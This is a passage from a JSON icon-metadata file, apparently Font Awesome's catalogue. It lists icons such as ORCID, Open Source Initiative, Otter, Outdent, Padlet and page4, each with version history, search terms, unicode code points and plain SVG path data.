8.2zm-8.7-66c-.5-13.5-.5-27-.3-40.5h.3c2.7-1.6 5.7-3.8 7.8-6.5 6.5-1.6 13-5.1 15.1-9.2 3.3-7.1-7-7.5-5.4-12.4 2.7-1.1 5.7-2.2 7.8-3.5 29.2 29.2 58.6 56.5 97.3 77-36.8 11.3-72.4 27.6-105.9 47-1.2-18.6-7.7-35.9-16.7-51.9zm337.6 64.6c-103 3.5-206.2 4.1-309.4 0 0 .3 0 .3-.3.3v-.3h.3c35.1-21.6 72.2-39.2 112.4-50.8 11.6 5.1 23 9.5 34.9 13.2 2.2.8 2.2.8 4.3 0 14.3-4.1 28.4-9.2 42.2-15.4 41.5 11.7 78.8 31.7 115.6 53zm10.5-12.4c-35.9-19.5-73-35.9-111.9-47.6 38.1-20 71.9-47.3 103.5-76.7 2.2 1.4 4.6 2.4 7.6 3.2 0 .8.3 1.9.5 2.4-4.6 2.7-7.8 6.2-5.9 10.3 2.2 3.8 8.6 7.6 15.1 8.9 2.4 2.7 5.1 5.1 8.1 6.8 0 13.8-.3 27.6-.8 41.3l.3-.3c-9.3 15.9-15.5 37-16.5 51.7zm105.9 6.2c-12.7 19.5-40 35.7-59.2 36.5-19.3.9-40.5-13.2-40.5-37 5.7-23.2 18.9-49.7 33.5-54 22.7-6.9 69.2 23.4 66.2 54.5zM372.9 75.2c-3.8-72.1-100.8-79.7-126-23.5 44.6-24.3 90.3-15.7 126 23.5zM74.8 407.1c-15.7 1.6-49.5 25.4-49.5 43.2 0 11.6 15.7 19.5 32.2 14.9 12.2-3.2 31.1-17.6 35.9-27.3 6-11.6-3.7-32.7-18.6-30.8zm215.9-176.2c28.6 0 51.9-21.6 51.9-48.4 0-36.1-40.5-58.1-72.2-44.3 9.5 3 16.5 11.6 16.5 21.6 0 23.3-33.3 32-46.5 11.3-7.3 34.1 19.4 59.8 50.3 59.8zM68 474.1c.5 6.5 12.2 12.7 21.6 9.5 6.8-2.7 14.6-10.5 17.3-16.2 3-7-1.1-20-9.7-18.4-8.9 1.6-29.7 16.7-29.2 25.1zm433.2-67c-14.9-1.9-24.6 19.2-18.9 30.8 4.9 9.7 24.1 24.1 36.2 27.3 16.5 4.6 32.2-3.2 32.2-14.9 0-17.8-33.8-41.6-49.5-43.2zM478.8 449c-8.4-1.6-12.4 11.3-9.5 18.4 2.4 5.7 10.3 13.5 17.3 16.2 9.2 3.2 21.1-3 21.3-9.5.9-8.4-20.2-23.5-29.1-25.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M572.6 421.4c5.6-9.5 4.7-15.2-5.4-11.6-3-4.9-7-9.5-11.1-13.8 2.9-9.7-.7-14.2-10.8-9.2-4.6-3.2-10.3-6.5-15.9-9.2 0-15.1-11.6-11.6-17.6-5.7-10.4-1.5-18.7-.3-26.8 5.7.3-6.5.3-13 .3-19.7 12.6 0 40.2-11 45.9-36.2 1.4-6.8 1.6-13.8-.3-21.9-3-13.5-14.3-21.3-25.1-25.7-.8-5.9-7.6-14.3-14.9-15.9s-12.4 4.9-14.1 10.3c-8.5 0-19.2 2.8-21.1 8.4-5.4-.5-11.1-1.4-16.8-1.9 2.7-1.9 5.4-3.5 8.4-4.6 5.4-9.2 14.6-11.4 25.7-11.6V256c19.5-.5 43-5.9 53.8-18.1 12.7-13.8 14.6-37.3 12.4-55.1-2.4-17.3-9.7-37.6-24.6-48.1-8.4-5.9-21.6-.8-22.7 9.5-2.2 19.6 1.2 30-38.6 25.1-10.3-23.8-24.6-44.6-42.7-60C341 49.6 242.9 55.5 166.4 71.7c19.7 4.6 41.1 8.6 59.7 16.5-26.2 2.4-52.7 11.3-76.2 23.2-32.8 17-44 29.9-56.7 42.4 14.9-2.2 28.9-5.1 43.8-3.8-9.7 5.4-18.4 12.2-26.5 20-25.8.9-23.8-5.3-26.2-25.9-1.1-10.5-14.3-15.4-22.7-9.7-28.1 19.9-33.5 79.9-12.2 103.5 10.8 12.2 35.1 17.3 54.9 17.8-.3 1.1-.3 1.9-.3 2.7 10.8.5 19.5 2.7 24.6 11.6 3 1.1 5.7 2.7 8.1 4.6-5.4.5-11.1 1.4-16.5 1.9-3.3-6.6-13.7-8.1-21.1-8.1-1.6-5.7-6.5-12.2-14.1-10.3-6.8 1.9-14.1 10-14.9 15.9-22.5 9.5-30.1 26.8-25.1 47.6 5.3 24.8 33 36.2 45.9 36.2v19.7c-6.6-5-14.3-7.5-26.8-5.7-5.5-5.5-17.3-10.1-17.3 5.7-5.9 2.7-11.4 5.9-15.9 9.2-9.8-4.9-13.6-1.7-11.1 9.2-4.1 4.3-7.8 8.6-11.1 13.8-10.2-3.7-11 2.2-5.4 11.6-1.1 3.5-1.6 7-1.9 10.8-.5 31.6 44.6 64 73.5 65.1 17.3.5 34.6-8.4 43-23.5 113.2 4.9 226.7 4.1 340.2 0 8.1 15.1 25.4 24.3 42.7 23.5 29.2-1.1 74.3-33.5 73.5-65.1.2-3.7-.7-7.2-1.7-10.7zm-73.8-254c1.1-3 2.4-8.4 2.4-14.6 0-5.9 6.8-8.1 14.1-.8 11.1 11.6 14.9 40.5 13.8 51.1-4.1-13.6-13-29-30.3-35.7zm-4.6 6.7c19.5 6.2 28.6 27.6 29.7 48.9-1.1 2.7-3 5.4-4.9 7.6-5.7 5.9-15.4 10-26.2 12.2 4.3-21.3.3-47.3-12.7-63 4.9-.8 10.9-2.4 14.1-5.7zm-24.1 6.8c13.8 11.9 20 39.2 14.1 63.5-4.1.5-8.1.8-11.6.8-1.9-21.9-6.8-44-14.3-64.6 3.7.3 8.1.3 11.8.3zM47.5 203c-1.1-10.5 2.4-39.5 13.8-51.1 7-7.3 14.1-5.1 14.1.8 0 6.2 1.4 11.6 2.4 14.6-17.3 6.8-26.2 22.2-30.3 35.7zm9.7 27.6c-1.9-2.2-3.5-4.9-4.9-7.6 1.4-21.3 10.3-42.7 29.7-48.9 3.2 3.2 9.2 4.9 14.1 5.7-13 15.7-17 41.6-12.7 63-10.8-2.2-20.5-6-26.2-12.2zm47.9 14.6c-4.1 0-8.1-.3-12.7-.8-4.6-18.6-1.9-38.9 5.4-53v.3l12.2-5.1c4.9-1.9 9.7-3.8 14.9-4.9-10.7 19.7-17.4 41.3-19.8 63.5zm184-162.7c41.9 0 76.2 34 76.2 75.9 0 42.2-34.3 76.2-76.2 76.2s-76.2-34-76.2-76.2c0-41.8 34.3-75.9 76.2-75.9zm115.6 174.3c-.3 17.8-7 48.9-23 57-13.2 6.6-6.5-7.5-16.5-58.1 13.3.3 26.6.3 39.5 1.1zm-54-1.6c.8 4.9 3.8 40.3-1.6 41.9-11.6 3.5-40 4.3-51.1-1.1-4.1-3-4.6-35.9-4.3-41.1v.3c18.9-.3 38.1-.3 57 0zM278.3 309c-13 3.5-41.6 4.1-54.6-1.6-6.5-2.7-3.8-42.4-1.9-51.6 19.2-.5 38.4-.5 57.8-.8v.3c1.1 8.3 3.3 51.2-1.3 53.7zm-106.5-51.1c12.2-.8 24.6-1.4 36.8-1.6-2.4 15.4-3 43.5-4.9 52.2-1.1 6.8-4.3 6.8-9.7 4.3-21.9-9.8-27.6-35.2-22.2-54.9zm-35.4 31.3c7.8-1.1 15.7-1.9 23.5-2.7 1.6 6.2 3.8 11.9 7 17.6 10 17 44 35.7 45.1 7 6.2 14.9 40.8 12.2 54.9 10.8 15.7-1.4 23.8-1.4 26.8-14.3 12.4 4.3 30.8 4.1 44 3 11.3-.8 20.8-.5 24.6-8.9 1.1 5.1 1.9 11.6 4.6 16.8 10.8 21.3 37.3 1.4 46.8-31.6 8.6.8 17.6 1.9 26.5 2.7-.4 1.3-3.8 7.3 7.3 11.6-47.6 47-95.7 87.8-163.2 107-63.2-20.8-112.1-59.5-155.9-106.5 9.6-3.4 10.4-8.8 8-12.5zm-21.6 172.5c-3.8 17.8-21.9 29.7-39.7 28.9-19.2-.8-46.5-17-59.2-36.5-2.7-31.1 43.8-61.3 66.2-54.6 14.9 4.3 27.8 30.8 33.5 54 0 3-.3 5.7-.8 8.2zm-8.7-66c-.5-13.5-.5-27-.3-40.5h.3c2.7-1.6 5.7-3.8 7.8-6.5 6.5-1.6 13-5.1 15.1-9.2 3.3-7.1-7-7.5-5.4-12.4 2.7-1.1 5.7-2.2 7.8-3.5 29.2 29.2 58.6 56.5 97.3 77-36.8 11.3-72.4 27.6-105.9 47-1.2-18.6-7.7-35.9-16.7-51.9zm337.6 64.6c-103 3.5-206.2 4.1-309.4 0 0 .3 0 .3-.3.3v-.3h.3c35.1-21.6 72.2-39.2 112.4-50.8 11.6 5.1 23 9.5 34.9 13.2 2.2.8 2.2.8 4.3 0 14.3-4.1 28.4-9.2 42.2-15.4 41.5 11.7 78.8 31.7 115.6 53zm10.5-12.4c-35.9-19.5-73-35.9-111.9-47.6 38.1-20 71.9-47.3 103.5-76.7 2.2 1.4 4.6 2.4 7.6 3.2 0 .8.3 1.9.5 2.4-4.6 2.7-7.8 6.2-5.9 10.3 2.2 3.8 8.6 7.6 15.1 8.9 2.4 2.7 5.1 5.1 8.1 6.8 0 13.8-.3 27.6-.8 41.3l.3-.3c-9.3 15.9-15.5 37-16.5 51.7zm105.9 6.2c-12.7 19.5-40 35.7-59.2 36.5-19.3.9-40.5-13.2-40.5-37 5.7-23.2 18.9-49.7 33.5-54 22.7-6.9 69.2 23.4 66.2 54.5zM372.9 75.2c-3.8-72.1-100.8-79.7-126-23.5 44.6-24.3 90.3-15.7 126 23.5zM74.8 407.1c-15.7 1.6-49.5 25.4-49.5 43.2 0 11.6 15.7 19.5 32.2 14.9 12.2-3.2 31.1-17.6 35.9-27.3 6-11.6-3.7-32.7-18.6-30.8zm215.9-176.2c28.6 0 51.9-21.6 51.9-48.4 0-36.1-40.5-58.1-72.2-44.3 9.5 3 16.5 11.6 16.5 21.6 0 23.3-33.3 32-46.5 11.3-7.3 34.1 19.4 59.8 50.3 59.8zM68 474.1c.5 6.5 12.2 12.7 21.6 9.5 6.8-2.7 14.6-10.5 17.3-16.2 3-7-1.1-20-9.7-18.4-8.9 1.6-29.7 16.7-29.2 25.1zm433.2-67c-14.9-1.9-24.6 19.2-18.9 30.8 4.9 9.7 24.1 24.1 36.2 27.3 16.5 4.6 32.2-3.2 32.2-14.9 0-17.8-33.8-41.6-49.5-43.2zM478.8 449c-8.4-1.6-12.4 11.3-9.5 18.4 2.4 5.7 10.3 13.5 17.3 16.2 9.2 3.2 21.1-3 21.3-9.5.9-8.4-20.2-23.5-29.1-25.1z"
      }
    },
    "free": ["brands"]
  },
  "orcid": {
    "changes": ["5.11.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f8d2",
    "label": "ORCID",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M294.75 188.19h-45.92V342h47.47c67.62 0 83.12-51.34 83.12-76.91 0-41.64-26.54-76.9-84.67-76.9zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-80.79 360.76h-29.84v-207.5h29.84zm-14.92-231.14a19.57 19.57 0 1 1 19.57-19.57 19.64 19.64 0 0 1-19.57 19.57zM300 369h-81V161.26h80.6c76.73 0 110.44 54.83 110.44 103.85C410 318.39 368.38 369 300 369z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M294.75 188.19h-45.92V342h47.47c67.62 0 83.12-51.34 83.12-76.91 0-41.64-26.54-76.9-84.67-76.9zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-80.79 360.76h-29.84v-207.5h29.84zm-14.92-231.14a19.57 19.57 0 1 1 19.57-19.57 19.64 19.64 0 0 1-19.57 19.57zM300 369h-81V161.26h80.6c76.73 0 110.44 54.83 110.44 103.85C410 318.39 368.38 369 300 369z"
      }
    },
    "free": ["brands"]
  },
  "osi": {
    "changes": ["5.0.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f41a",
    "label": "Open Source Initiative",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M8 266.44C10.3 130.64 105.4 34 221.8 18.34c138.8-18.6 255.6 75.8 278 201.1 21.3 118.8-44 230-151.6 274-9.3 3.8-14.4 1.7-18-7.7q-26.7-69.45-53.4-139c-3.1-8.1-1-13.2 7-16.8 24.2-11 39.3-29.4 43.3-55.8a71.47 71.47 0 0 0-64.5-82.2c-39-3.4-71.8 23.7-77.5 59.7-5.2 33 11.1 63.7 41.9 77.7 9.6 4.4 11.5 8.6 7.8 18.4q-26.85 69.9-53.7 139.9c-2.6 6.9-8.3 9.3-15.5 6.5-52.6-20.3-101.4-61-130.8-119-24.9-49.2-25.2-87.7-26.8-108.7zm20.9-1.9c.4 6.6.6 14.3 1.3 22.1 6.3 71.9 49.6 143.5 131 183.1 3.2 1.5 4.4.8 5.6-2.3q22.35-58.65 45-117.3c1.3-3.3.6-4.8-2.4-6.7-31.6-19.9-47.3-48.5-45.6-86 1-21.6 9.3-40.5 23.8-56.3 30-32.7 77-39.8 115.5-17.6a91.64 91.64 0 0 1 45.2 90.4c-3.6 30.6-19.3 53.9-45.7 69.8-2.7 1.6-3.5 2.9-2.3 6q22.8 58.8 45.2 117.7c1.2 3.1 2.4 3.8 5.6 2.3 35.5-16.6 65.2-40.3 88.1-72 34.8-48.2 49.1-101.9 42.3-161-13.7-117.5-119.4-214.8-255.5-198-106.1 13-195.3 102.5-197.1 225.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M8 266.44C10.3 130.64 105.4 34 221.8 18.34c138.8-18.6 255.6 75.8 278 201.1 21.3 118.8-44 230-151.6 274-9.3 3.8-14.4 1.7-18-7.7q-26.7-69.45-53.4-139c-3.1-8.1-1-13.2 7-16.8 24.2-11 39.3-29.4 43.3-55.8a71.47 71.47 0 0 0-64.5-82.2c-39-3.4-71.8 23.7-77.5 59.7-5.2 33 11.1 63.7 41.9 77.7 9.6 4.4 11.5 8.6 7.8 18.4q-26.85 69.9-53.7 139.9c-2.6 6.9-8.3 9.3-15.5 6.5-52.6-20.3-101.4-61-130.8-119-24.9-49.2-25.2-87.7-26.8-108.7zm20.9-1.9c.4 6.6.6 14.3 1.3 22.1 6.3 71.9 49.6 143.5 131 183.1 3.2 1.5 4.4.8 5.6-2.3q22.35-58.65 45-117.3c1.3-3.3.6-4.8-2.4-6.7-31.6-19.9-47.3-48.5-45.6-86 1-21.6 9.3-40.5 23.8-56.3 30-32.7 77-39.8 115.5-17.6a91.64 91.64 0 0 1 45.2 90.4c-3.6 30.6-19.3 53.9-45.7 69.8-2.7 1.6-3.5 2.9-2.3 6q22.8 58.8 45.2 117.7c1.2 3.1 2.4 3.8 5.6 2.3 35.5-16.6 65.2-40.3 88.1-72 34.8-48.2 49.1-101.9 42.3-161-13.7-117.5-119.4-214.8-255.5-198-106.1 13-195.3 102.5-197.1 225.8z"
      }
    },
    "free": ["brands"]
  },
  "otter": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9a6"],
        "secondary": ["10f700"]
      }
    },
    "changes": [
      "5.4.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "animal",
        "badger",
        "fauna",
        "fishing",
        "fur",
        "mammal",
        "marten",
        "otter",
        "playful"
      ]
    },
    "styles": ["solid"],
    "unicode": "f700",
    "label": "Otter",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M181.5 197.1l12.9 6.4c5.9 3 12.4 4.5 19.1 4.5c23.5 0 42.6-19.1 42.6-42.6V144c0-35.3-28.7-64-64-64H128c-35.3 0-64 28.7-64 64v21.4c0 23.5 19.1 42.6 42.6 42.6c6.6 0 13.1-1.5 19.1-4.5l12.9-6.4 8.4-4.2L135.1 185c-4.5-3-7.1-8-7.1-13.3V168c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24v3.7c0 5.3-2.7 10.3-7.1 13.3l-11.8 7.9 8.4 4.2zm-8.6 49.4L160 240l-12.9 6.4c-12.6 6.3-26.5 9.6-40.5 9.6c-3.6 0-7.1-.2-10.6-.6v.6c0 35.3 28.7 64 64 64h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384V336 320c0-23.7 12.9-44.4 32-55.4c9.4-5.4 20.3-8.6 32-8.6V240c0-26.5 21.5-48 48-48c8.8 0 16 7.2 16 16v32 16 48c0 8.8 7.2 16 16 16s16-7.2 16-16V204.3c0-48.2-30.8-91-76.6-106.3l-8.5-2.8c-8-2.7-12.6-11.1-10.4-19.3s10.3-13.2 18.6-11.6l19.9 4C576 86.1 640 164.2 640 254.9l0 1.1h0c0 123.7-100.3 224-224 224h-1.1H256h-.6C132 480 32 380 32 256.6V256 216.8c-10.1-14.6-16-32.3-16-51.4V144l0-1.4C6.7 139.3 0 130.5 0 120c0-13.3 10.7-24 24-24h2.8C44.8 58.2 83.3 32 128 32h64c44.7 0 83.2 26.2 101.2 64H296c13.3 0 24 10.7 24 24c0 10.5-6.7 19.3-16 22.6l0 1.4v21.4c0 1.4 0 2.8-.1 4.3c12-6.2 25.7-9.6 40.1-9.6h8c17.7 0 32 14.3 32 32s-14.3 32-32 32h-8c-13.3 0-24 10.7-24 24v8h56.4c-15.2 17-24.4 39.4-24.4 64H320c-42.3 0-78.2-27.4-91-65.3c-5.1 .9-10.3 1.3-15.6 1.3c-14.1 0-27.9-3.3-40.5-9.6zM96 128a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm112 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M181.5 197.1l12.9 6.4c5.9 3 12.4 4.5 19.1 4.5c23.5 0 42.6-19.1 42.6-42.6V144c0-35.3-28.7-64-64-64H128c-35.3 0-64 28.7-64 64v21.4c0 23.5 19.1 42.6 42.6 42.6c6.6 0 13.1-1.5 19.1-4.5l12.9-6.4 8.4-4.2L135.1 185c-4.5-3-7.1-8-7.1-13.3V168c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24v3.7c0 5.3-2.7 10.3-7.1 13.3l-11.8 7.9 8.4 4.2zm-8.6 49.4L160 240l-12.9 6.4c-12.6 6.3-26.5 9.6-40.5 9.6c-3.6 0-7.1-.2-10.6-.6v.6c0 35.3 28.7 64 64 64h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384V336 320c0-23.7 12.9-44.4 32-55.4c9.4-5.4 20.3-8.6 32-8.6V240c0-26.5 21.5-48 48-48c8.8 0 16 7.2 16 16v32 16 48c0 8.8 7.2 16 16 16s16-7.2 16-16V204.3c0-48.2-30.8-91-76.6-106.3l-8.5-2.8c-8-2.7-12.6-11.1-10.4-19.3s10.3-13.2 18.6-11.6l19.9 4C576 86.1 640 164.2 640 254.9l0 1.1h0c0 123.7-100.3 224-224 224h-1.1H256h-.6C132 480 32 380 32 256.6V256 216.8c-10.1-14.6-16-32.3-16-51.4V144l0-1.4C6.7 139.3 0 130.5 0 120c0-13.3 10.7-24 24-24h2.8C44.8 58.2 83.3 32 128 32h64c44.7 0 83.2 26.2 101.2 64H296c13.3 0 24 10.7 24 24c0 10.5-6.7 19.3-16 22.6l0 1.4v21.4c0 1.4 0 2.8-.1 4.3c12-6.2 25.7-9.6 40.1-9.6h8c17.7 0 32 14.3 32 32s-14.3 32-32 32h-8c-13.3 0-24 10.7-24 24v8h56.4c-15.2 17-24.4 39.4-24.4 64H320c-42.3 0-78.2-27.4-91-65.3c-5.1 .9-10.3 1.3-15.6 1.3c-14.1 0-27.9-3.3-40.5-9.6zM96 128a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm112 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"
      }
    },
    "free": ["solid"]
  },
  "outdent": {
    "aliases": {
      "names": ["dedent"],
      "unicodes": {
        "secondary": ["10f03b"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["align", "justify", "paragraph", "tab"]
    },
    "styles": ["solid"],
    "unicode": "f03b",
    "label": "Outdent",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64zM192 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32zm32 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zM0 448c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM.2 268.6c-8.2-6.4-8.2-18.9 0-25.3l101.9-79.3c10.5-8.2 25.8-.7 25.8 12.6V335.3c0 13.3-15.3 20.8-25.8 12.6L.2 268.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64zM192 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32zm32 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zM0 448c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM.2 268.6c-8.2-6.4-8.2-18.9 0-25.3l101.9-79.3c10.5-8.2 25.8-.7 25.8 12.6V335.3c0 13.3-15.3 20.8-25.8 12.6L.2 268.6z"
      }
    },
    "free": ["solid"]
  },
  "p": {
    "aliases": {
      "unicodes": {
        "composite": ["70"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter P", "Latin Small Letter P", "letter"]
    },
    "styles": ["solid"],
    "unicode": "50",
    "label": "P",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32h96c88.4 0 160 71.6 160 160s-71.6 160-160 160H64v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V320 96zM64 288h96c53 0 96-43 96-96s-43-96-96-96H64V288z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32h96c88.4 0 160 71.6 160 160s-71.6 160-160 160H64v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V320 96zM64 288h96c53 0 96-43 96-96s-43-96-96-96H64V288z"
      }
    },
    "free": ["solid"]
  },
  "padlet": {
    "changes": ["6.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e4a0",
    "label": "Padlet",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M297.9 0L298 .001C305.6 .1078 312.4 4.72 315.5 11.78L447.5 320.3L447.8 320.2L448 320.6L445.2 330.6L402.3 488.6C398.6 504.8 382.6 514.9 366.5 511.2L298.1 495.6L229.6 511.2C213.5 514.9 197.5 504.8 193.8 488.6L150.9 330.6L148.2 320.6L148.3 320.2L280.4 11.78C283.4 4.797 290.3 .1837 297.9 .0006L297.9 0zM160.1 322.1L291.1 361.2L298 483.7L305.9 362.2L436.5 322.9L436.7 322.8L305.7 347.9L297.1 27.72L291.9 347.9L160.1 322.1zM426 222.6L520.4 181.6H594.2L437.2 429.2L468.8 320.2L426 222.6zM597.5 181.4L638.9 257.6C642.9 265.1 635 273.5 627.3 269.8L579.7 247.1L597.5 181.4zM127.3 318.5L158.7 430L1.61 154.5C-4.292 144.1 7.128 132.5 17.55 138.3L169.4 222.5L127.3 318.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M297.9 0L298 .001C305.6 .1078 312.4 4.72 315.5 11.78L447.5 320.3L447.8 320.2L448 320.6L445.2 330.6L402.3 488.6C398.6 504.8 382.6 514.9 366.5 511.2L298.1 495.6L229.6 511.2C213.5 514.9 197.5 504.8 193.8 488.6L150.9 330.6L148.2 320.6L148.3 320.2L280.4 11.78C283.4 4.797 290.3 .1837 297.9 .0006L297.9 0zM160.1 322.1L291.1 361.2L298 483.7L305.9 362.2L436.5 322.9L436.7 322.8L305.7 347.9L297.1 27.72L291.9 347.9L160.1 322.1zM426 222.6L520.4 181.6H594.2L437.2 429.2L468.8 320.2L426 222.6zM597.5 181.4L638.9 257.6C642.9 265.1 635 273.5 627.3 269.8L579.7 247.1L597.5 181.4zM127.3 318.5L158.7 430L1.61 154.5C-4.292 144.1 7.128 132.5 17.55 138.3L169.4 222.5L127.3 318.5z"
      }
    },
    "free": ["brands"]
  },
  "page4": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d7",
    "label": "page4 Corporation",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 504C111 504 0 393 0 256S111 8 248 8c20.9 0 41.3 2.6 60.7 7.5L42.3 392H248v112zm0-143.6V146.8L98.6 360.4H248zm96 31.6v92.7c45.7-19.2 84.5-51.7 111.4-92.7H344zm57.4-138.2l-21.2 8.4 21.2 8.3v-16.7zm-20.3 54.5c-6.7 0-8 6.3-8 12.9v7.7h16.2v-10c0-5.9-2.3-10.6-8.2-10.6zM496 256c0 37.3-8.2 72.7-23 104.4H344V27.3C433.3 64.8 496 153.1 496 256zM360.4 143.6h68.2V96h-13.9v32.6h-13.9V99h-13.9v29.6h-12.7V96h-13.9v47.6zm68.1 185.3H402v-11c0-15.4-5.6-25.2-20.9-25.2-15.4 0-20.7 10.6-20.7 25.9v25.3h68.2v-15zm0-103l-68.2 29.7V268l68.2 29.5v-16.6l-14.4-5.7v-26.5l14.4-5.9v-16.9zm-4.8-68.5h-35.6V184H402v-12.2h11c8.6 15.8 1.3 35.3-18.6 35.3-22.5 0-28.3-25.3-15.5-37.7l-11.6-10.6c-16.2 17.5-12.2 63.9 27.1 63.9 34 0 44.7-35.9 29.3-65.3z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 504C111 504 0 393 0 256S111 8 248 8c20.9 0 41.3 2.6 60.7 7.5L42.3 392H248v112zm0-143.6V146.8L98.6 360.4H248zm96 31.6v92.7c45.7-19.2 84.5-51.7 111.4-92.7H344zm57.4-138.2l-21.2 8.4 21.2 8.3v-16.7zm-20.3 54.5c-6.7 0-8 6.3-8 12.9v7.7h16.2v-10c0-5.9-2.3-10.6-8.2-10.6zM496 256c0 37.3-8.2 72.7-23 104.4H344V27.3C433.3 64.8 496 153.1 496 256zM360.4 143.6h68.2V96h-13.9v32.6h-13.9V99h-13.9v29.6h-12.7V96h-13.9v47.6zm68.1 185.3H402v-11c0-15.4-5.6-25.2-20.9-25.2-15.4 0-20.7 10.6-20.7 25.9v25.3h68.2v-15zm0-103l-68.2 29.7V268l68.2 29.5v-16.6l-14.4-5.7v-26.5l14.4-5.9v-16.9zm-4.8-68.5h-35.6V184H402v-12.2h11c8.6 15.8 1.3 35.3-18.6 35.3-22.5 0-28.3-25.3-15.5-37.7l-11.6-10.6c-16.2 17.5-12.2 63.9 27.1 63.9 34 0 44.7-35.9 29.3-65.3z"
      }
    },
    "free": ["brands"]
  },
  "pagelines": {
    "changes": ["4.0.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["eco", "flora", "leaf", "leaves", "nature", "plant", "tree"]
    },
    "styles": ["brands"],
    "unicode": "f18c",
    "label": "Pagelines",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 312.7c-55.1 136.7-187.1 54-187.1 54-40.5 81.8-107.4 134.4-184.6 134.7-16.1 0-16.6-24.4 0-24.4 64.4-.3 120.5-42.7 157.2-110.1-41.1 15.9-118.6 27.9-161.6-82.2 109-44.9 159.1 11.2 178.3 45.5 9.9-24.4 17-50.9 21.6-79.7 0 0-139.7 21.9-149.5-98.1 119.1-47.9 152.6 76.7 152.6 76.7 1.6-16.7 3.3-52.6 3.3-53.4 0 0-106.3-73.7-38.1-165.2 124.6 43 61.4 162.4 61.4 162.4.5 1.6.5 23.8 0 33.4 0 0 45.2-89 136.4-57.5-4.2 134-141.9 106.4-141.9 106.4-4.4 27.4-11.2 53.4-20 77.5 0 0 83-91.8 172-20z\"/></svg>",
